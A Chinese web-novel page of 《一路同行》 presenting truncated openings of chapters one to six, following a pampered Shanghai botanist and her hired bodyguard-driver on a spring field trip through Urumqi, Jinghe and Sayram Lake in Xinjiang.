《一路同行》 1. 001 集市初见 《一路同行》全本免费阅读 你热烈的呐喊如岩浆迸发穿透万年的地壳 是哭泣么是欢笑是死亡是生命愤怒的冲决 是歌声也是雷声是弦管也是奔突的千军万马 是舞蹈也是闪电是衣装也是永不凋落的盼顾 ——王蒙《木卡姆》 去年11月,晏青棠曾在上海北外滩友邦大剧院听过一场维吾尔族古典音乐十二木卡姆音乐会。 那声音迅疾跳脱,自由奔放如风,仿佛来自远古的老人在吟唱着古老的故事。 闭眼便是戈壁、大漠,山谷、草原,星河流转。 那时她还未想过,几个月后她会踏上新疆这片土地,在热闹街巷中重听“旷野之歌”。 * “已经到了吗?我刚下飞机,你先入住酒店,去取车,两小时后我们在酒店会合,再详细面谈。”说话时,晏青棠带着从小养尊处优的倨傲骄矜。 第一次接到肃征电话,由于没有备注,她当成陌生来电,直接按了挂断。 这是第二次接到,意识到他是自己花钱雇的那位,也只是三言两语自顾自说完就挂断,单纯地下命令,丝毫不给对方应答的时间。 这也算事出有因,长途旅程总让人失去耐心。 晏青棠今天起了个大早,六点半在上海虹桥机场登机,飞机在空中飞了五个半小时,才抵达目的地——乌鲁木齐地窝堡机场。 她抬起手臂看了眼表,此刻是北京时间中午十二点,但按新疆时间算,约有两小时的时差,现在还是上午。 晏青棠天生怕冷,上飞机前,她早查过天气,知道三月底别处春暖花开时,乌鲁木齐最高温还只有十四、五度。且回看过历史天气,乌鲁木齐前些天还有过零下,下过雨夹雪。 但在下飞机时,她还是没想到乌鲁木齐的体感温度会这么冷,她寒毛冷竖,觉得几乎全国都消失了的冬天,全都窝在这里藏了起来。 于是在随行人员要送她的三个行李箱回酒店时,晏青棠拦住了,先将冰蓝色箱子里的那件Dior经典老花连帽外套拿了出来,套在外面。 在上海时,她喜欢穿裙子,搭配绑带高跟鞋。 而在新疆,考虑到几天后就要开始的野外野生植物考察,她的穿着变得相对轻便简单,脚下也换了舒适的运动鞋。 想到野外考察,晏青棠心中就有股气。 国外名校硕士研究生毕业后,她回到上海,在一家植物研究所工作,身份是客座研究员。 所里基本都是些资历老的学界前辈,她平日里对这些人尊敬有加,可他们还是因为她的年纪与阅历等等因素而轻视她。 其中一个原因倒也是实打实的,晏青棠的家境太好,从来没吃过苦,娇里娇气,一看就不是能长久干这一行的料。 为了向这群老学究证明自己的毅力,晏青棠将心一横,把未来半年的工作项目都推后,开始筹划到新疆进行野外考察。 新疆的地理信息和历年天气状况她都有查询,出行日常物品和户外装备她也都有做相应的功课。 晏青棠最初打算一个人前往,但准备工作刚做到一半,她就意识到,一路上不可控因素太多。 新疆地广人稀,幅员辽阔,驱车远离市区后,戈壁滩一望无际。 一旦进入野外,就需面对来自自然的一切。前路未知,有美好,风土人情,沿途美景如画;也有危险,地质灾害,野猪野狼频出。 安全起见,她必须雇一个司机,也是保镖。 这人需要身材高大挺拔,体格健壮,会防身术,能保护她。懂得急救知识,最好有过新疆野外经验,且有耐性,不吸烟,情绪稳定,能够适应长途驾驶。 这一连串条件罗列下来,符合的人选就不多了。 结果晏青棠后面还加上一条:长相要让她看着觉得顺眼。 晏青棠看人很苛刻,但家里父母早已习惯她的作风,一条条筛选下来,最后竟还真从熟人圈子里为她找到一位全方位无死角符合的,把个人资料发给了她。 这人名叫肃征。 今年三十岁,是退伍军人,会军人格斗防身术,身高187,体重170,天生大骨架,退伍后有高强度的健身习惯,生活照里都能看出他人高马大。 又曾经在新疆长期待过,熟悉地理情况,有野外经验,会开越野车,执行力强。 如今长住云南,偶尔在外地接些短期私人保镖的活,其中的老主顾就有晏家的生意伙伴,也算在业内有口皆碑。 晏青棠将资料看得粗略,目光最终落在男人的脸上。 还算顺眼,就他了。 选定人选后,晏青棠也很大方,开了月薪十二万,折合日薪四千的报酬。 作为交换条件,根据线上电子合同条款,此次新疆行程中,肃征需要一切都听晏青棠的吩咐。 两人合同都签得很爽快。 敲定之后,虽然有了肃征的联系方式,但晏青棠一直没有给他打电话,只加了微信,简单聊过几句。 晏家的管家负责和肃征对接,帮他们订飞往乌鲁木齐的航班,又安排好了乌鲁木齐康莱德酒店作为落脚地。 而一旦到达乌鲁木齐,踏上野外考察之路,一切大小事宜就要靠肃征来处理了。 晏家管家对肃征说的最后一句话是:“我家大小姐有点小性子,您多担待,在新疆多照顾些她。” 肃征刚开始对管家的嘱咐不以为意,这两年他接触过不少豪门雇主,对他们上层圈子那套处事风格也算了解,再麻烦的雇主他也能应付,最后都对他客客气气。 可他还是小看了晏青棠。 来到乌鲁木齐后,给她的第一通电话就让他碰了钉子,晏青棠拒接。 后来打通了,肃征仍好声好气跟她介绍自己,谁知这位大小姐压根不听,直接冷淡地给他下了命令,然后就挂断电话。 人在屋檐下,不得不低头。 吃人家的饭,自然万事都要忍。 可等他入住酒店,又出去把那辆晏青棠的越野车开回后,晏青棠依然没回酒店。 他发了微信询问,晏青棠只回了一句:“我在外面逛呢,你在国际大巴扎附近 2. 002 山西巷子 《一路同行》全本免费阅读 调侃晏青棠这种性格的老板,就该做好事后碰一鼻子灰的心理准备。 肃征没生气,而是拎着酒瓶转身往龙泉街方向走。他天生火气旺,衬衫依然没穿,松松垮垮搭在手臂上。 没走几步路,却又被她喊住:“你干什么去?” “把车开过来。”他的回答干脆且平和,仿佛丝毫没有被她方才的态度所影响。 晏青棠意识到面前这人并非是要把不识路的她丢在这里,这才缓和语气问他:“龙泉街远吗?” “大概六七百米。”肃征回道。 耳畔的十二木卡姆音乐声已经停下,晏青棠走到肃征近旁,看着眼前的岔路口,继续问他:“哪个方向?你来带路,这么近走路就行了。” 肃征原以为晏青棠是个一步路也不愿多走的主,看她现在主动要跟他一块儿走过去,倒有些意外。 他指了指右,顺着方向往前走,转弯后沿着布满商铺的街巷,经过凯达商厦时,突然想起件事,放慢脚步,朝身后的晏青棠伸出手。 没说话,但眼神落在她的Chanel徽章款嬉皮士包上,晏青棠会意,将包扔给他,哼了声道:“你倒还挺自觉的。” “给你们这类人服务,不能不自觉。”提上包后,肃征的双手被东西占满,可瞧上去还是轻轻松松,走起路来极快。 晏青棠在街巷穿梭,总能闻到飘散在风中的香味,稍微在路上停下多望两眼,就会落在肃征身后。她懒得去快步追上他,而他也有自己的把控,离太远时,会渐渐放慢速度,重新回到晏青棠正前方几步路的地方。 越野车就停在龙泉街和双庆巷交叉口的小停车场里,那是一辆深黑色的四门五座Jeep牧马人,有着粗犷豪放的美式风格,年初晏青棠花了五十多万买下。 快到停车场时,肃征突然停下脚步,回头问她:“要先吃点什么吗?难得路过这边。” “我其实……”晏青棠刚要说自己旅途劳顿,从在飞机上开始就胃口不佳,就又闻到一缕肉香,竟将她的胃口都勾了出来,“吃点也行。” 但她很快就质疑起肃征的来回折腾:“既然要回国际大巴扎,我们刚才走过来干嘛?” “不去那儿吃,现在都是专门招待游客的,实际味道一般。”肃征带着她停在一家小饭馆门口,很老练地跟她介绍道。 那是一家极其简陋的小饭馆,外面的馕坑里正在烤馕和烤包子。一位维吾尔族小伙端着小碗,时不时往烧热的馕坑里洒些盐水。 肃征会维吾尔语,同那个小伙说了几句话,然后走进小饭馆,直接找了位子坐下,招呼晏青棠也进来:“就要在这些小巷子里吃,味道更正宗。” 晏青棠来乌鲁木齐后就没吃过东西,心里并没有正宗与不正宗的分别,勉强走进后,只低头望着小方桌和圆凳,并不坐下。 肃征一下子就懂了,起身抽出桌上的纸巾,给晏青棠擦净凳子。 但晏青棠还是没坐,又自己从肃征拿着的包里翻出几片酒精湿巾,重新擦了一遍。 “你这样,还要去新疆的野外?”肃征压根看不惯她的做派。 “怎么了?”坐下后,晏青棠还不忘继续擦桌子,把多余的湿巾顺手丢到肃征面前,抬眸冷眼反问道,“野外也会有熏脏的桌椅吗?” 擦完后,她才敢把手机放在桌面上,低头回着消息。 肃征发觉兵遇上秀才,也可能有理说不清。 顶撞老板没什么好处,他起身去点吃的,中途又回来询问晏青棠忌口,晏青棠头也不抬,像是打定了主意:“你自己吃就行,我回酒店吃饭。” 看她嫌弃成这个样子,肃征没了话,但依然点了两人份的量,不过种类多,单类都是小份。 不多时,烤包子、馕坑肉、大盘鸡、椒麻鸡和新疆手工酸奶就端上了桌。 肃征一个人吃也能自得其乐,咬开手里的烤包子,几口就干掉一个。晏青棠看他吃得那么香,顿时有点动摇。 “尝尝?”肃征已经将自己那份烤包子吃完,开始吃椒麻鸡,用筷子敲了敲空掉的盘子,“小饭馆都这样,你尝一回就知道了。” 冒着香喷喷热气的烤包子是刚从馕坑烤出来的,外皮金黄酥脆,晏青棠凑近闻了闻,有股孜然味。 她不愿像肃征那样用手拿,握着筷子小心翼翼把烤包子夹起,急着送进嘴里。 “慢点。”肃征耐心嘱咐她,“我皮糙肉厚不怕烫,你这可……” 晏青棠不信邪,结果猛咬了一口就停下,哈着嘴里的热气。 又吹了吹,才重新咬了一小口,新疆本地的羊肉没什么膻味儿,尝起来嫩香鲜美,细而不腻。 “怎么感觉里面还有点甜味?”晏青棠感觉敏锐,眯起眼睛回味。 “加了皮牙子。”正吃馕坑肉的肃征为她解释,“就是洋葱,当地是这个叫法。不过这边的皮牙子没那么辣,再加上在馕坑烤过,反而尝起来有点甜。” 有了烤包子开路,晏青棠也就不再像刚开始那样抗拒,跟肃征一起吃起馕坑肉。 她今天只在飞机上吃了点小零食垫垫,胃里早空了,如今胃口打开,倒是比平时能吃些。 不一会儿,邻桌来了其他客人,点了大份的大盘鸡,在等菜上桌的间隙,围坐在一起聊天。 他们聊起山西巷子,晏青棠还当又是一处隐蔽的美食街,听肃征向导般跟她说起历史沿革,她才知道山西巷子正是龙泉街的前身,早年间这里还有泉眼,清朝山西商人来新疆开设骆驼场,附近逐渐形成繁华街巷,并从此得名山西巷,后来改名龙泉街。 只不过多年过去,当地人还是习惯称呼它的旧名。 小饭馆进门处摆了一个高高的茶水桶,旁边摞满了大口碗。肃征过去盛了两碗砖茶,将其中一碗递给晏青棠。 晏青棠这次接了过去,大概是吃完羊肉口渴。 等吃得差不多后,晏青棠才想起正事,问道:“你刚才说要谈谈接下去的行程?” “对。”肃征也严肃几分,拿出手机,打开交通地图,“今天3月20号,你微信上说第一站想去那拉提,我不知道你的考虑是什么,只能告诉你新疆这个时节绝大部分地方都不适合旅游,最多看看春景,现在有个心理预期,到时候不要太失望。” “谁告 3. 003 乌市启程 《一路同行》全本免费阅读 上了车的晏青棠低头看一眼手机,烦躁地按掉一个来电,把手机设置成静音。 “你随意,怎么舒服怎么来。”肃征将手里的嬉皮士包递还晏青棠,又把那瓶伊力王酒随手一抛,擦着她身侧,扔到后排车座上。 晏青棠被他吓了一跳,身体条件反射般往右躲,大脑回过神后,转头盯着肃征:“轻点,敢摔碎了洒我一车,你就完了。” 肃征忙着发动车子,单手握方向盘掉头,快出停车场时,才瞥她一眼,道:“酒瓶结实着呢,像你这么细皮嫩肉的,我才怕碎了。” 在他看来,晏青棠像易碎的古董瓷器,时时刻刻需要专人看顾着,阳光与汗液都是一种污染。 而晏青棠自己却不愿当这瓷器,狐疑地望着他:“你这是在讽刺我呢?” “不敢不敢。”他别过脸去,连声道。 晏青棠怕影响他开车,进而影响到自己的安全,于是大度地放过他,没再追究。 牧马人开到马路上后,她仍有些提心吊胆,不是很放心肃征的驾驶技术。后来看他开车还算专心,习惯平稳驾驶,始终不急不躁,不像有的司机那样横冲直撞,这才暂时相信了他。 回到康莱德酒店时,已经是六、七点钟,但乌鲁木齐的天色还很亮。 越野车驶入地下停车场,肃征找位置停好后,两人一起乘坐电梯几经周折来到37楼的酒店大堂。 晏青棠去前台拿自己房间的房卡,肃征之前就办过入住手续,但晏青棠不发话,他不好直接离开,便在旁边坐着等她。 淡季人少,酒店效率相对高些,肃征杯中的杏皮茶还没喝几口,就看到晏青棠扬了扬手里的房卡,朝他走来。 一位酒店工作人员在她身旁引导电梯方向,另一位把随行人员提前送来的行李箱都推来,而她在电梯刷了卡,扭头淡声向肃征道:“你可以回你自己的房间了。” 他们住在酒店的不同层,晏家管家给晏青棠订的豪华大床套房有八十平,而他的豪华大床房只差一字,却在面积与价格上都能小去一半。 肃征正要走,她又变了心思,叫住他:“等等,我们再聊点事。” 这意思,就是要让他跟着先去她的房间了,肃征只好跟上她,也一起进了电梯。 到房间门口后,晏青棠刷卡进门,工作人员把三个行李箱都放进房间她指定的位置后才离开。 客厅里,肃征想起他办理入住时,曾见过晏家派来的那几个随行人员,便问道:“你家的下人都走了吗?” “他们可不是什么下人。”晏青棠坐在沙发上,纠正他的言辞。 肃征一时尴尬,觉得自己的称呼确实失了考量,多少有轻视之嫌。 却不想,她散开一整天紧紧扎在后面的马尾,黑直的长发铺垂在肩上,抬眼朝他笑了下:“他们是我爸的走狗,往好听点说,就是鹰犬爪牙。” 肃征从来都不是个咬文嚼字的人,但也知道后面这词恐怕也没好听到哪里去。 这果然还是个说话没什么顾忌的骄纵小姐,也不知那位被顺带牵连讽刺的晏家老父亲听到后会作何感想。 晏青棠仿佛能听到他的腹诽,敛去笑容接着道:“他们只忠于我爸,留在我身边只会想方设法劝我回去,碍事得很。” “劝你回去?”肃征多少有些错愕,“但当时就是晏先生找到我。” 晏青棠明白肃征的意思,肃征是她父亲挑来推荐给她的人,按理来说,她父亲如果不愿意她来新疆,就不该下这些细致功夫。 但肃征太不了解她父亲的为人处事风格。 二十六年来,好像她做出的每一个人生重大决定,父亲晏雅钧的所谓支持或者同意都带着勉强,甚至有意要劝她放弃。 她大学读植物学,高考选院校和专业时,晏雅钧得知她的意向后,态度就是极其勉强的。 刚上大一,晏雅钧就在她面前跟人聊起这个专业的惨淡前景,又罗列了诸如金融学等专业是如何前途光明与实用,暗示她可以尽快转专业。 她没搭理,一门心思读下去,甚至在国外读完了硕士。 等她回到上海,在那个植物研究所工作,与同事之间的相处磕磕碰碰,晏雅钧没指点她该如何处理人际关系,而是直接道:“晏家的孩子不用在那小地方受委屈,不如来爸爸身边帮忙,搞金融可比研究植物要轻松得多。” 晏青棠不知道搞金融会不会更轻松,只觉得在父亲口中,她换个行业、改变人生道路很轻松,个人喜好与理想都不重要。 在心底深处,晏雅钧只在乎他自己的想法,坚持他自己的观点。 就如她来新疆,晏雅钧为她找到了符合条件的肃征,可也暗自塞了三个平时跟在他身边的人给她。 这几个人根本没有野外经验,是晏雅钧的生活秘书,日常就围着晏雅钧转,很会恭维奉承。 在机场看到他们时,晏青棠当场就冷了脸。她没发作,而是把他们打发去负责搬运她的行李箱。 候机时,又给晏雅钧打去电话,很明确地要求他命令这三人一落地乌鲁木齐就离开,好让她少几个累赘。 晏雅钧算是做了妥协,不干涉她的行动,让三人把她的行李箱送到酒店之后,就老老实实飞回上海。 至于她的母亲,则是个虽宠爱她,但大事桩桩件件做不了主,深度依附于丈夫,整日热衷交际的贵妇人。 但这些晏青棠都没必要去跟肃征解释。 面对肃征的疑问,她直接将其忽略了去,另外说起别的事:“我想后天就出发。” 肃征的意思,是给晏青棠多几天适应的时间。 而晏青棠的计划是尽快上路,但赶路最好是一大早,今天刚到不久,明早出发显然太仓促,那就折中延到后天。 “行。”肃征一口应下,但摸不清晏青棠让他来房间是为了什么,便问道,“还有其他重要的事吗?” “你给我爸打个电话。”晏青棠命令道,“你俩聊聊,别说我在旁边。” 面前的女孩突然给肃征一种精明感,世家大小姐可能单纯,却不会愚蠢。 肃征遵从她的授意给晏雅钧打了过去,客气地唤他道:“晏先生。” “青棠现在有时间接电话吗 4. 004 精河中转 《一路同行》全本免费阅读 “我还以为,计划会变。”肃征多少有些惊讶于她的果断。 “那你可看错人了。”晏青棠站在门口,手扶着这两天在酒店日常用的那个冰蓝色行李箱,“我一向说到做到。” 肃征垂眸打量着面前的晏青棠,她将长发利落扎起,戴了棒球帽,正轻抬帽檐,露出那双柔美而坚毅的眼眸。 “有点沉,加上你的行李箱是不是不好拿?”晏青棠问道,“但这个点我不想专门找酒店的人,你多搬几趟好了。” “不用。”肃征道。 晏青棠的箱子是多,可其余两个好像在酒店用不上,早就在昨天被酒店工作人员搬进越野车里。等会儿搬他与晏青棠的这个箱子,顺手的事,还用不着分趟。 照理来说,雇主已经上门,就该抬腿出发。但肃征看着自己的潦草居家打扮,多少有些尴尬。 晏青棠也发现了,嫌弃地瞥了他一眼,冷声道:“给你十分钟。” “就在这儿等我吗?”肃征特意向她寻求确认。 晏青棠眉头一皱,不喜他的多话:“就这儿,你快点。” 肃征转身就往卧室走,晏青棠仍站在门口,听到里面响起悉悉索索的脱衣声,表情终于有了些许的不自然。 他出来时,已换上一身宽松的深灰色冲锋衣,里面是件速干衣,裤子也换了冲锋裤,瞧上去干练爽利。但也可见,他并不讲究穿搭,凡事只图舒适方便。 “晏小姐,可以出发了。”他道。 晏青棠先一步转身往外走,她身后的肃征左右手各拎起一个行李箱,走起路来带着风,关了门后,很快走到她前面。 “我去交房卡,你下地下停车场。”晏青棠安排道。 站在电梯口,帮肃征按下楼层后,晏青棠默默评价:“好像一身牛劲儿。” 肃征没理会她的形容,在电梯门关闭前,对她道:“你要的东西放车上了,等会儿我给你。” 晏青棠“哦”了一声就转身,去办退房手续。 * 晏青棠来到停车场时,肃征已经把行李箱全都放好。肃征的座位上什么都没有,却给晏青棠配了腰枕。 但比起这个,晏青棠更挂念她要的东西,朝肃征道:“我的自封袋。” 肃征伸长手臂,从车后座给她拿过来,原来还特意给她单独装了个手提袋。 “谢了。”晏青棠垂眸查看完毕后道。 乌鲁木齐的早晨气温偏低,车子发动后,行驶在大道上,肃征将窗降下一半,晨风吹进来时,一股冷意扑面而来,透了几分钟气,就又重新关上,倒也醒神。 路上,晏青棠无聊地望着窗外,城市间的景象其实大同小异,除去那些大多聚集在天山区的具有民族特色的建筑,乌鲁木齐绝大多数地方,也是同其他城市一样充满现代化。 一样的大厦高楼,一样的宽阔马路,城里还没有绿起来,道路两旁只有光秃秃的树木。但往远方望去,却能看到积雪覆盖的博格达峰。 早上八点,路上的车已经不少。 晏青棠感觉,新疆地广人稀的特点在乌鲁木齐的交通方面好像并不准。 城区交通经常堵塞,在出乌鲁木齐的高速上,因为前方发生车祸,又堵起车。 为防止晏青棠不耐烦,肃征提前就打起预防针,估算道:“应该要半个小时,你可以玩会儿手机。” “哦。”晏青棠懒散地应了一声,确实是等得有些乏味。 然而新疆面积太大,点与点之间路途遥远,又只有开车才能到。于是无论是旅游的人,还是晏青棠这样为了野外考察的人,都需忍受道路上的无聊枯燥,只为到达一个又一个目的地。 晏青棠低头打开手机,未接来电满满当当,又点开微信,回了几个好友的消息,正接着往下划,晏雅钧的电话又打了过来。 这次晏青棠愿意接了,听到那头的父亲一个劲儿嘘寒问暖。 到最后,万语千言,都化为一句笑着的话:“青棠,我还以为你会跟他们一起回来。” 正如晏青棠猜想的那样,父亲对她在新疆的考察并不在意,他派来生活秘书,其实是等着她在落地乌鲁木齐时就改变主意回家。 “以为错了。”说话时,晏青棠带着从前没有的那种底气,大概是这片辽阔土地给了她力量,“我们已经出发,正去精河。” “想要细聊,就等几个月后好了,再见,爸爸。”她把手机抬高,要点结束通话。 对面传来晏雅钧急切的挽留:“着急什么?我还没问你……” 晏青棠重新拿回来,听他道:“给你雇的那个人怎么样?” 旁边坐着的肃征眉心轻跳,他望着前方一串串长龙般一眼望不到边际的车,手搭在方向盘上,侧耳听着晏青棠讲话。 “也就还行。”晏青棠评价道,“开车方面我是满意的,瞧着体格也不错。但也主观臆断,自以为是,讨厌透了。” 她说到这句时,隐隐意识到不太合适,从斜挎包里拿出蓝牙耳机戴上。 “晏青棠,我听到了。”肃征看向她,淡声道,“你吐槽人,都这么大声的吗?” “总之凑着用吧,一时也找不到别人。”晏青棠朝着父亲叹了口气,仿佛很是勉强,又转向肃征,坦然自若,“说就说了,我又不怕你听见。” 肃征抬眉,指了指她的耳侧:“那你戴什么耳机?” “我戴耳机,耽误我骂你了吗?”她说话时总能带着理所当然,看也不看肃征,但最后匆匆挂断电话,“爸,就这样吧,我看前面路快通了,不闲聊了,再见。” 然后她转过身,以眼神命令肃 5. 005 赛里木湖 《一路同行》全本免费阅读 晏青棠闹肚子疼,只能说是意料之外,情理之中。一方水土养一方人,初到新疆的水土不服,再加上吃辣。 肃征不敢推脱责任,正要给她找药,她已经自己从包里找了益生菌吃下。 “还行吗?”肃征把车速放缓,关切地问她,“要在服务区上个厕所吗?” “我不是要上厕所。”晏青棠靠在椅背上,无奈地闭上眼眸,不久后又催促道,“长痛不如短痛,你还是快点开吧。” 肃征只好专心开车,又开了快两个小时,才到达赛里木湖景区。在两天前定下路线时,肃征就订好了两天的景区门票和周边酒店,原本是想直接进景区,但看到晏青棠的状态,想想后还是改变路线,不敢耽误,越野车一刻不停,从北门继续往温泉赛里木湖水云杉野奢酒店驶去。 晏青棠自己带的益生菌大概起了效果,状态好了些,已经不再捂着肚子。在前往酒店的路上,也有了闲情逸致去看看窗外景色。 不久前当地刚下了雪,如今还没完全消融。雪山山峦起伏,远远望去,山峦间高大挺拔的雪岭云杉绵延不绝,树梢和针叶于霜雪中傲然而立,偶尔起风,云杉随风轻轻摆动。 晏青棠实际上对雪岭云杉这一天山林海中的特有树种很感兴趣,但这个时节不适宜停下车去考察,于是只用索尼A1相机拍了些照片,准备把考察雪岭云杉的计划安排到后面其他地方的行程中去。 四十多分钟后,越野车抵达酒店。 这家酒店是近两年新开的,位置很好,坐落于松林山畔,本身就以山景闻名。 肃征订了两间山景别墅星空房,即使是在淡季,价格也是不菲,但这些费用全是晏家出钱,他自然不用费心替晏家节省。 晏青棠也不愿他节省,更想在能舒适的时候获得百分百的舒适。这一次,两人房间相邻,有事沟通起来也算方便。 这个月份客人少时,酒店服务几乎宛如包场,但晏青棠一心只想早点休息,把欢迎仪式全都取消,以最快的速度住进房间。 房间里装了全屋地暖,温暖舒适,此刻不过才下午五点,肃征却结束了当天的工作,可以躺在床上休息。 不得不说,给大小姐打工,除去忍受她的脾气这一层,其余的好像都是顺带在享受。 每天最多只需要开六个小时车。每个落脚处只要有酒店,晏青棠就选五星级的,再不济也会是偏豪华型。 在待遇上,晏青棠不仅不算亏待,而且还是格外优待。 * 世人说来到新疆,不可不去赛里木湖。 赛里木湖湖水异常清澈透底,在古代被称为“净海”,蒙古语则称它为“赛里木淖尔”,意译为“山脊梁上的湖”。 作为新疆海拔最高、面积最大的高山地堑湖泊,赛里木湖四面被群山环绕,是大西洋暖湿气流最后眷顾之处,于是成为“大西洋最后一滴眼泪”。 晏青棠的主要目的虽然在于植物考察,可沿途美景近在眼前,自然也不愿错过。 为了这大西洋的最后一滴眼泪,前一夜休息充分的两人吃完早餐,看着天气晴好,就开车往赛里木湖景区北门赶。 半路上,晏青棠忙着给自己脖子上挂的索尼A1调试参数,肃征突然踩了一脚刹车,让晏青棠差点撞到头。 “你怎么开车的?”晏青棠忍不住火大。 肃征则无辜地指了指前方,示意晏青棠抬头,晏青棠朝前望去,便惊喜地发现,路上竟然挡着一只金黄色的野狐狸。 周围只有他们这一辆车,野狐狸绕到车前不走,肃征生怕撞到它,便靠边停车没继续开。 “刚开春,估计山上没什么吃的,这些狐狸就会拦车要吃的。”见晏青棠拍了拍车窗,想要下去看狐狸,肃征只好去打开车门,但又警告般淡声添了句,“当然,有时候拦车的,还有野狼。” 晏青棠的脚步微顿,转过身察看四周,又拉住肃征的胳膊,命令他道:“那你离我近点。” 肃征无奈地被她拉住,一起走向野狐狸。 隔了两步路的距离,肃征就停下,也提醒晏青棠道:“看看就行了,野生动物最好别碰别摸,它们可不像家里宠物那么干净。” 野生动物往往携带大自然的致病病菌,至于野狐狸,则有可能携带着狂犬病毒。 它们性格上也不如宠物温和,贸然触碰会有被抓伤咬伤的风险,在野外的特殊环境里未免得不偿失。 晏青棠将他的话听了进去,和他一样保持距离。又从脖间拿下索尼相机,对着狐狸拍了几张照片。 随后她蹲下身,从地上捡了块石子,想把狐狸引到边上,可狐狸很聪明,依然坐在原地正中央的路上。狐狸瞧上去饿了许久,身上没什么肉,毛发也不光亮,那乞食的眼神望着晏青棠,倒是有几分可怜。 “既然是饿了,我们给它点吃的不就行了?”晏青棠思索道。 “逻辑上没问题,可人类的食物不是它们的身体能负担的。”肃征道,“不是高油,就是高盐,有什么能给的?” 晏青棠回车后座翻找着肃征采购的物资,翻出火腿肠、烤馕、肉干……确实都如肃征所言,都不像是能给狐狸喂的。 晏青棠有些着急了,继续翻找着,才终于把肃征买的那袋苹果找到了。 “水果应该可以吧?”她问肃征。 结果肃征又是摇头:“苹果狐狸确实能吃,可投喂野生动物本来就有争议,哪怕吃的没问题,也有可能让它们形成依赖,这对它们来说没有好处。” 他的态度很冰冷,可晏青棠知道这都是实话,大自然有其自有的生存规则,人类不该从中干预。 可她还是难过,觉得无能为力,狐狸有可能会饿死,而她在原本应该能做点什么的时候,选择静止不动。 肃征在旁看到她神色落寞,从未想到对人吆来喝去的她,却会为面前一只饥肠辘辘的狐狸而 6. 006 银河流转 《一路同行》全本免费阅读 白天鹅在水面打架的事,没让肃征表情有什么波动。倒是晏青棠把天鹅羽毛拿到他面前展示的这一瞬,他也被她的欢快牵动,神色放松下去。 肃征看着她手里的羽毛,她轻轻拨动手指,羽毛由此一片变成两片,意思是其中一片给他,他接过了,笑问道:“刚才拍视频了吗?” “哎呀,没来得及拍。”晏青棠大为后悔,拿起相机迅速地朝着远方的天鹅拉进镜头追拍了几张,然后对他道,“你下次记得提醒我。” 晏青棠在玩儿时心情很好,甚至懒得骂他。 两人同行,他是她唯一可以面对面及时分享快乐的人,看到了什么有趣的事都跑来和他说。 美景让晏青棠忘了时间,越野车边走边停,就这么玩了大半天。 中途还是肃征先想到吃饭的事,3月底,赛里木湖的饭馆开门不多,倒是一些营地里开着自营餐厅。 两人走进其中一家,点了套餐火锅,价格有点贵,味道却实在是普普通通。但好在吃上了热饭,比他们干啃带的干粮要好些。 饭后晏青棠仍兴致不减,到点将台时,附近的冰面厚些,她看到很多游客都会试着躺在冰面上拍照,也大着胆子要躺一躺。 肃征对她的举动始终忧心忡忡,先是劝她不要去,劝说不下,就只好全程拉住她的手臂。 这种姿势太过奇怪,晏青棠从冰面起来时,几乎要被肃征气笑,不高兴道:“你不是退伍军人吗?还怕这怕那的。” 这时的肃征脸上只剩下严肃,走在她身后:“就是当过兵,才会怕。” 那几年军旅生涯,让肃征无数次见证到生命的宝贵与脆弱。许多事他有时刻意回避不去想,但人总有惯性,迫使他在任何危险逼近的时候都无比紧张。 早春这里的草还没长出,一天的游玩就已经足够。晏青棠走在前面,已经拉开车门,坐上副驾驶。肃征紧随她,开车直接出景区回酒店。 赛里木湖周边的光污染很小,星空条件特别好。 前一天晏青棠忙着调理自己的水土不服,睡下得早。今天从赛里木湖回来,原本就有些意犹未尽,晚上天黑之后,发现从酒店也能看到不错的夜景,也算不愧于“星空房”这名字。 于是大小姐直接一个电话,就把肃征叫到自己的房间,等着要在深夜拍星空,说需要他搭把手。 肃征人被叫来时,才九点钟,一听她是准备等到两三点,脸色就有些勉强了。 “不行吗?”晏青棠仰头问他,又打量几眼,“年纪大了,熬不了夜?” 肃征今年刚满三十,还从未被人讽刺过年龄,顿时被她激了起来:“能是能,但看星星就只能在外面,总不能坐在房里,可外面又太冷。” 现在赛里木湖的气温本来就低,到了晚上更是冻人。就如这次他们也没选择住在景区内的营地,酒店住宿条件终归好些,可以随时洗澡,供暖也正常。 “所以我先在房里等。”晏青棠耐着性子回答道,“等到了时间,我再去露台。” 肃征一听她的意思,就是主意丝毫不可动摇了,也就只好坐下。 但又一细想,她实在没必要把他这么早叫过来。唯一的原因,可能就是她一个人等着觉得太无聊。 他们坐在客厅围炉煮茶,肃征喝茶如喝水,而晏青棠却是要品的,喝一杯的时间,肃征能喝三杯。 晏青棠看后直摇头,只觉得简直成了妙玉口中的饮牛饮骡。 期间,肃征好奇她的过往经历,小心地打听起她:“总觉得你不常离家,这是第一回?” “不是。”等星星的时间如此漫长,聊天也不失为打发时光的法子,晏青棠渐渐愿意回他,“我在北京读过书,后来又去了荷兰留学。” 虽然无论到了哪里,她都会在假期回到上海,但四年北京,两年荷兰,她都是一个人在陌生的城市或国度生活。 “我为什么看着像不常离家呢?”晏青棠反问。 肃征在她面前尽量谨慎发言:“感觉家里不舍得你离家太远。” “他们是不舍得,恨不得我一辈子就只待在上海,哪儿也不去。”晏青棠无奈笑笑,但她很少会有久滞的忧愁,很快就积极昂扬起来,“但我的人生,只有我自己能做主。我想去哪儿,就去哪儿。” 肃征听完不言,却又佩服晏青棠的这份洒脱与自我。他觉得单从精神上,她像西北辽阔苍穹上飞着的一只鹰。 “但也会有妥协的。”晏青棠又补道,“我现在就在上海工作。” 客座研究员拥有很大的自由,她可以不被一般工作的工作日所局限。但归根结底,上海还是成为了她的根,是她到达远方后,终有一日必将回归的地方。 “能被父母家人牵绊着,也是挺好的事。”茶壶里没了热水,肃征起身添上水,盖上盖子时,突然感慨一句。 “也不能说好吧……”晏青棠回味着他的话,“我一直觉得,人与人的关系就是互相迁就,越亲近的人越是如此,家人也不例外。他们不是最好的父母,我不是最好的女儿,那大家就各退一步,各自心里自在。但如果谁打破这个平衡,我也不会再迁就。” 所以她回到上海,回到父母身边,却又坚持着自己的自由,要时刻都能不受限制地离开。 肃征是第一次听到除去传统孝道之外的另一番言论,心中更加好奇晏青棠的家庭。 这显然与肃征过往给自己定下的工作准则相违背。他不喜欢沾染上流社会内部的人与事,接任务时也从不多问。任务结束后,他也不会再主动与那些雇主产生任何交集。 而在任务中,肃征也永远都是那个话少的人。雇主们虽信得过他的稳重与训练有素,却也常说他性格上呆板无趣。 他正回想着曾经与其他雇主的相处经历,晏青棠突然一本正经地看向他:“你也是,别总是让我迁就你。” 肃征心中立时为自己喊冤,情绪没控制好,一下子脱口而出:“明明是我一直在迁就你。” 这下事情到了不可挽 7. 007 伊宁婚礼 